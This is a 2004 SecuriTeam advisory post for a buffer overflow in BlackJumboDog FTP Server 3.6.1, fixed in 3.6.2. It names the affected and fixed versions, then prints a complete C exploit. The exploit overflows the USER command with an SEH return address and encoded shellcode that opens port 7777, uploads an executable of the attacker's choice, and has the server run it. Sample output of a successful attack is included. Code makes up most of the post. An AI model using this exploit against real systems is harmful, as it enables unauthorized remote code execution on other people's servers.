[EXPL] BlackJumboDog FTP Server Remote Code Execution

From: SecuriTeam (support_at_securiteam.com)
Date: 09/14/04

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    Date: 14 Sep 2004 18:14:18 +0200
    
    

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      BlackJumboDog FTP Server Remote Code Execution
    ------------------------------------------------------------------------

    SUMMARY

    In a previously featured article,
    <http://www.securiteam.com/windowsntfocus/5AP040ADPW.html> BlackJumboDog
    FTP Server Buffer Overflow, several buffer overflow vulnerabilities were
    found leading to remote code execution. Presented below is an exploit code
    that uploads an executable and runs it on the target system.

    DETAILS

    Vulnerable Systems:
     * BlackJumboDog FTP server version 3.6.1

    Immune Systems:
     * BlackJumboDog FTP server version 3.6.2

    Exploit:
    /*
            6.9.04|www.Delikon.de|Delikon
            BlackJumboDog FTP Server Buffer Overflow version 3.6.1
            http://www.securiteam.com/windowsntfocus/5AP040ADPW.html
            Thx to Chew Keong TAN

    C:\Codes\blackjumbodog\Release>bjdexploit 192.168.0.3 21 klein.exe
            BlackJumboDog FTP Server Buffer Overflow version 3.6.1
            http://www.securiteam.com/windowsntfocus/5AP040ADPW.html
            Thx to Chew Keong TAN

            Delikon|6.9.04|www.Delikon.de

            [+] Connected.
            220 FTP ( BlackJumboDog Version 3.6.1 ) ready

            [+]Shellcode length: 461
            [+] Sending the shellcode
            [+] Sleeping
            [+] Opening File
            [+] File found ready to send
            [+] Connected
            [+] Sending executable.
            ....
            [+] All done, server have now executed your executable!
            [+] Have a nice day
    */

    #include <stdio.h>
    #include <string.h>
    #include <winsock.h>

    //opens a port on 7777
    //where you can upload a exe
    //after terminating the network connection to port 7777
    //the exe gets executed
    //you will find the asm sourcecode at www.delikon.de
    //it also exits with ExitThread, so the shellcode don't crashes the
    service
    char shellcode[] = "\xEB"
    "\x10\x58\x31\xC9\x66\x81\xE9\x4A\xFE\x80\x30\x88\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"
    "\xFF\xFF\x61\xE0\x89\x88\x88\xD3\xDD\x01\x6D\xEE\x09\x64\xBC\x88\x01\x6E\xEE\x09"
    "\x64\x84\x88\x60\x57\x88\x88\x88\x01\x4F\xDF\xE0\x06\xC6\x86\x64\x60\x63\x88\x88"
    "\x88\x01\xCD\x80\x05\xDB\xB8\xDA\x77\xDD\x80\x01\xCD\x80\x05\xDB\xB3\x01\xDE\xBC"
    "\xE2\x85\xD1\xEE\x09\x71\x8F\x88\xFD\x8B\x03\xF5\x80\x01\x86\xDF\x77\xFC\x03\x74"
    "\x60\x37\x88\x88\x88\x03\x86\x01\xCC\x06\x74\x6A\x6A\xEE\x09\x64\x18\x89\xDC\xE0"
    "\x89\x89\x88\x88\x77\xDE\x8C\xB9\x77\xDF\xDF\xDF\xDF\xCF\xDF\xCF\xDF\x77\x9E\x01"
    "\x4B\xB9\x77\xDF\xDF\xE0\x8A\x88\x96\xE9\x01\x6A\xE2\x98\xDA\xDB\x77\xDE\x80\xDF"
    "\xDB\x77\xDE\x84\xDF\xDE\xDB\x77\xDE\x98\x01\x4B\xE2\x88\xE2\x8E\xE2\x8C\xE2\x88"
    "\xE2\x8F\xE0\x88\x88\x88\x68\x77\xFE\xBC\x77\xDE\xAC\x01\x4F\x09\x64\x14\x77\x77"
    "\x77\x01\x6D\x05\xDD\xEC\xE2\x88\xE0\xEC\x88\x88\x88\xDA\xDB\x77\xDE\x9C\xB5\x77"
    "\x77\x77\x77\xFC\x9D\xB5\x88\x88\x88\x88\xFC\x86\x05\xDD\xEC\xE2\x88\xD9\xD8\xDA"
    "\xDF\x77\xDE\xA0\x63\x5D\xDB\x77\xDE\x90\xDF\x77\xDE\xA4\xE0\x8D\x88\x88\x88\x77"
    "\xFE\xBC\x77\xDE\xA8\xB9\x77\xDF\x77\xDE\x94\xDD\xDE\xEC\x29\xB8\x88\x88\x88\x03"
    "\xC8\x84\x03\xF8\x94\x25\x03\xE0\x80\x01\x60\xD6\xD5\x4A\x8C\x88\xDB\xDD\xDE\xDF"
    "\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x89\x62\x03\xC2\x90\x03\xD2\xA8\x89"
    "\x63\x6B\xBD\xC1\x03\xBC\x03\x89\x66\xB9\x77\x74\xB9\x48\x24\xB0\x68\xFC\x8F\x49"
    "\x47\x85\x89\x4F\x63\x7A\xB3\xF4\xAC\x9C\xFD\x69\x03\xD2\xAC\x89\x63\xEE\x03\x84"
    "\xC3\x03\xD2\x94\x89\x63\x03\x8C\x03\x89\x60\x61\x8A\x88\x88\x88\xB9\x48\x01\x62"
    "\xD7\xD6\xD5\xD3\x4A\x8C\x88\x60\x1B\x76\x77\x77\x51\x81\x7D\x25\x43\x65\x74\xB3"
    "\x2C\x92\xF8\x4F\x2C\x25\xA6\x61\x6D\xC1\x0E\xC1\x3E\x91\x90\x6F\x6F\xF1\x4E\xF1"
    "\x67\x46\x68\xE8\x10\x76\x02\x86\x2D\x9F\x88\xF4\x97\xF1\x82\x60\x73\x1F\x75\x87"
    "\xDF\xDB\xBA\xD7\xBB\xBA\xA6\xCC\xC4\xC4\x88\xDA\xB8\xB8\xFC\xA6\xED\xF0\xED\x88";

    int fileupload(int port,char *FileName,char* ip){

            FILE* file;

            int sockfd, numbytes;
     
            struct hostent *he;
            struct sockaddr_in their_addr;
            char buf[1024];
            char *a=NULL;
            int read=0;

            printf("[+] Opening File\n");

            file = fopen(FileName,"rb");
            if (file==NULL) {
            printf("[-] Open Failed\n");
            return 0;
            }
             printf("[+] File found ready to send\n");
     
             if ((he=gethostbyname(ip)) == NULL) { // get the host info
             printf("[-] GetHostByName() Error!\n");
             return 0;
             }
             if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
             printf("[-] Can't open socket!\n");
             return 0;
             }
             their_addr.sin_family = AF_INET; // host byte order
             their_addr.sin_port = htons(port); // port
             their_addr.sin_addr = *((struct in_addr *)he->h_addr);
             //memset(&(their_addr.sin_zero), '\0', 8); // zero the rest of
    the struct
             if (connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct
    sockaddr)) == -1) {
             printf("[-] Connecting error\n");
             return 0;
             }
             printf("[+] Connected\n[+] Sending executable.\n");
     
             while (!feof(file)) {
               read = fread(buf,sizeof(char),sizeof(buf),file);
               Sleep(200);
               if ((numbytes=send(sockfd,buf,read,0)) == -1) {
              printf("[-] Sending executable failed\n");
              return 0;
               }
               printf(".");
             }
             printf("\n[+] All done, server have now executed your
    executable!\n");
             closesocket(sockfd);
             WSACleanup();
             return 1;
    }

    void banner(){
            printf("BlackJumboDog FTP Server Buffer Overflow version
    3.6.1\nhttp://www.securiteam.com/windowsntfocus/5AP040ADPW.html\nThx to
    Chew Keong TAN\n");
            printf("\nDelikon|6.9.04|www.Delikon.de\n");
    }

    void usage(){
            
            printf("\nBJDExploit HOST PORT FileToUpload\n");
    }

    //#pragma lib <ws2_32.lib>
    #pragma comment(lib,"ws2_32.lib")

    int main(int argc,char *argv[]) {
     int sockfd, numbytes;
    //i have some problems with the ret-addresses
    //only this one worked
    //the SEH don't executes every address
    // but i don't know the reason
     DWORD RetAddr=0x6BD01395;
     /* SYNCOR11.DLL XP sp2 full patched english version
    6BD01395 5E POP ESI
    6BD01396 33C0 XOR EAX,EAX
    6BD01398 5D POP EBP
    6BD01399 C2 0800 RETN 8
    */

    struct hostent *he;
    struct sockaddr_in their_addr;

    char buf[1024];
     int read=0;

     WSADATA wsaData;

     if(argc<3){
            banner();
            usage();
            exit(1);
     }

     banner();

     if(WSAStartup(0x101,&wsaData))
     {
            printf("[-] Unable to load winsock.\n");
                 return -1;
     }
     if ((he=gethostbyname(argv[1])) == NULL) { // get the host info
             printf("[-] GetHostByName() Error!\n");
             return -1;
     }
     if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
             printf("[-] Can't open socket!\n");
             return -1;
     }
     their_addr.sin_family = AF_INET; // host byte order
     their_addr.sin_port = htons(atoi(argv[2])); // port
     their_addr.sin_addr = *((struct in_addr *)he->h_addr);
     //memset(&(their_addr.sin_zero), '\0', 8); // zero the rest of the
    struct
     if (connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct
    sockaddr)) == -1) {
             printf("[-] Connecting error\n");
             return -1;
     }
            printf("\n[+] Connected.\n");
            read=sizeof(buf);
            numbytes=recv(sockfd,buf,read,0);
            buf[numbytes]=0x00;
            printf("%s \n",buf);

      memset(buf,0x00,sizeof(buf));
      Sleep(200);

      strcpy(buf,"USER ");
      memset(buf+strlen(buf),0x41,308);
      memcpy(buf+strlen(buf),"\xeb\x06",2);
      memset(buf+strlen(buf),0x41,2);
      memcpy(buf+strlen(buf),&RetAddr,4);
      strcat(buf,shellcode);
      buf[strlen(buf)]='\x0a';

      printf("[+]Shellcode length: %i \n",strlen(shellcode));

      read =strlen(buf);
      numbytes=send(sockfd,buf,read,0);
      printf("[+] Sending the shellcode\n");

      Sleep(2000);
      printf("[+] Sleeping\n");

      if(fileupload(7777,argv[3],argv[1]))
              printf("[+] Have a nice day\n");
      
     
     
     closesocket(sockfd);
     WSACleanup();
     
     return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:jerome.athias@caramail.com>
    "JXrXme" ATHIAS.

    ========================================

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